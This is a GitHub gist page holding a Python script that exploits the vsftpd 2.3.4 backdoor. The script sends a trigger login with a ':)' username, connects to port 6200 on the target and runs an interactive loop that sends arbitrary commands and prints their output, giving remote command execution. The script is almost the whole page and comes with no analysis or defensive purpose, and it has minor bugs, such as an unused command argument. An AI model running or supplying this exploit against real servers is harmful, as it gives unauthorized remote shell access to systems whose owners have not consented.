Skip to content

Instantly share code, notes, and snippets.

@Horaddrim
Created August 1, 2019 02:31
Show Gist options
  • Save Horaddrim/1a7c98739c4d9074ece684ab4ecdb01f to your computer and use it in GitHub Desktop.
Save Horaddrim/1a7c98739c4d9074ece684ab4ecdb01f to your computer and use it in GitHub Desktop.
Opens a TCP socket to explout the VSFTP server, version 2.3.4 exploit
#!/usr/bin/python2
import socket
import sys
import time
def recv_timeout(the_socket,timeout=2):
#make socket non blocking
the_socket.setblocking(0)
total_data=[];
data='';
begin=time.time()
while 1:
if total_data and time.time() - begin > timeout:
break
elif time.time() - begin > timeout*2:
break
try:
data = the_socket.recv(8192).decode('utf-8')
if data:
total_data.append(str(data))
begin = time.time()
else:
time.sleep(0.1)
except:
pass
return ''.join(total_data)
def exploit(ip, port):
""" Triggers vsftpd 2.3.4 backdoor and prints supplied command's output """
try:
print('[*] Attempting to trigger backdoor...')
ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ftp_socket.connect((ip, port))
# Attempt to login to trigger backdoor
ftp_socket.send(b'USER letmein:)\n')
ftp_socket.send(b'PASS please\n')
time.sleep(2)
ftp_socket.close()
print('[+] Triggered backdoor')
except Exception:
print('[!] Failed to trigger backdoor on %s' % ip)
try:
print('[*] Attempting to connect to backdoor...')
backdoor_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
backdoor_socket.connect((ip, 6200))
print('[+] Connected to backdoor on %s:6200' % ip)
while True:
anotherCommand = input('[+]$: ')
if anotherCommand == '.exit':
backdoor_socket.close()
command = str.encode(anotherCommand + '\n')
backdoor_socket.send(command)
response = recv_timeout(backdoor_socket, 3)
print('[+] Response:\n', response, sep='')
# backdoor_socket.close()
except Exception as e:
print (e)
print('[!] Failed to connect to backdoor on %s:6200' % ip)
if __name__ == '__main__':
if len(sys.argv) < 3:
print('Usage: ./vsftpd_234_exploit.py <IP address> <port> <command>')
print('Example: ./vsftpd_234_exploit.py 192.168.1.10 21 whoami')
else:
exploit(sys.argv[1], int(sys.argv[2]))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment